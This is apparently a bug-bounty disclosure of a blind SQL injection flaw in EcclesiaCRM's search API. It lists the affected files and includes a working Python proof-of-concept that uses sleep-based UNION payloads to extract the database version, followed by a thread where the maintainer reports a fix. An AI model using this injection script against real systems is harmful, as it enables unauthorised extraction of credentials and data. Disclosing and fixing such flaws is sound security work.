SQL Injection in phili67/ecclesiacrm
Reported on
Aug 28th 2021
✍️ Description
SQL Injection (SQLi) found in search section for http://[YOURIP]/ecclesiacrm/v2/people/list/person. A SQL Injection allows an attacker to run SQL command remotely and can extract information such as password, usernames and other sensitive data. This SQLi is a blind SQLi and doesn't return any information but used with a sleep() method and a IF statement we can enumerate information inside the database below is a PoC that extracts the DB version.
This issue is caused by a number of sections of code:
/EcclesiaCRM/Search/AddressSearchRes.php: line 27
/EcclesiaCRM/Search/DepositSearchRes.php: line 40
/EcclesiaCRM/Search/FamilyCustomSearchRes.php: line 29
/EcclesiaCRM/Search/FamilyPastoralCareSearchRes.php: line 28
/EcclesiaCRM/Search/FamilySearchRes.php: line 29
/EcclesiaCRM/Search/PersonAssignToGroupSearchRes.php: line 46
/EcclesiaCRM/Search/PersonCustomSearchRes.php: line 32
/EcclesiaCRM/Search/PersonGroupManagerSearchRes.php: line 32
/EcclesiaCRM/Search/PersonPropsSearchRes.php: line 43
/EcclesiaCRM/Search/PledgeSearchRes.php: line 30
This is due to them concatenating the SQL query and having no sanitation of the query allowing us to perform a SQLi
🕵️♂️ Proof of Concept
import requests
import sys
proxies = {'http':'http://127.0.0.1:8080','https':'http://127.0.0.1:8080'} #debug with burpsuite
def search_sqli(ip, inj_str, username, password):
#login
target = "http://%s/ecclesiacrm/Login.php" % (ip)
s = requests.Session()
data={"User":username,"Password":password}
s.post(target, data=data)
for j in range(32, 126):
# now we update the sqli
json={"SearchTerm": inj_str.replace("[CHAR]", str(j)), "Elements":None,"GroupElements":None,"GroupRoleElements":None}
target = "http://%s/ecclesiacrm/api/search/getresult/" % (ip)
#print(target)
r = s.post(target, proxies=proxies, json=json)
#r = requests.get(target)
content_length = int(r.headers['Content-Length'])
#print(r.elapsed.total_seconds())
if (r.elapsed.total_seconds() > 2):
#print("return")
return j
return None
def main():
if len(sys.argv) != 4:
print "(+) usage: %s <target> <Username> <Password>" % sys.argv[0]
print '(+) eg: %s 192.168.121.103 admin password123' % sys.argv[0]
sys.exit(-1)
ip = sys.argv[1]
username = sys.argv[2]
password = sys.argv[3]
print "(+) Retrieving database version...."
for i in range(1, 16):
injection_string ="1' OR record2property_r2p.r2p_Value LIKE '1') union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42 where (IF(ascii(substring((select version()),%s,1))=[CHAR],sleep(2),1)) -- " % i
extracted_char = chr(search_sqli(ip, injection_string,username,password))
sys.stdout.write(extracted_char)
sys.stdout.flush()
print "\n(+) done!"
if __name__ == "__main__":
main()
💥 Impact
This vulnerability is capable of extracting sensitive information from the database.
We're using an orm to escape the string before using the process filterBy.
It isn't pdo or mysqli
I try your script :
requests.exceptions.ProxyError: HTTPConnectionPool(host='127.0.0.1', port=8080): Max retries exceeded with url: http://192.168.151.205/api/search/getresult/ (Caused by ProxyError('Cannot connect to proxy.', NewConnectionError('<urllib3.connection.HTTPConnection object at 0x7f23de5c7f10>: Failed to establish a new connection: [Errno 111] Connection refused')))
So could you be more precise to reproduce the issue ?
I finally rewrote the code here : https://github.com/phili67/ecclesiacrm/pull/1925/files
Hi Phili67, sorry you need to comment out the line "proxies = {'http':'http://127.0.0.1:8080','https':'http://127.0.0.1:8080'}" on line four and change "r = s.post(target, proxies=proxies, json=json)" to "r = s.post(target, json=json)" on line 21. You also need to authenticate to the application for it to create the SQLi condition. It also looks like you have fixed the sections of code so that should now remove the vulnerability.
We typically request the maintainer to do this.
@maintainer - feel free to mark this report as valid, and confirm the fix, if you believe it to be a legitimate security concern.
Let me know if you have any more questions @kamusta ⭐️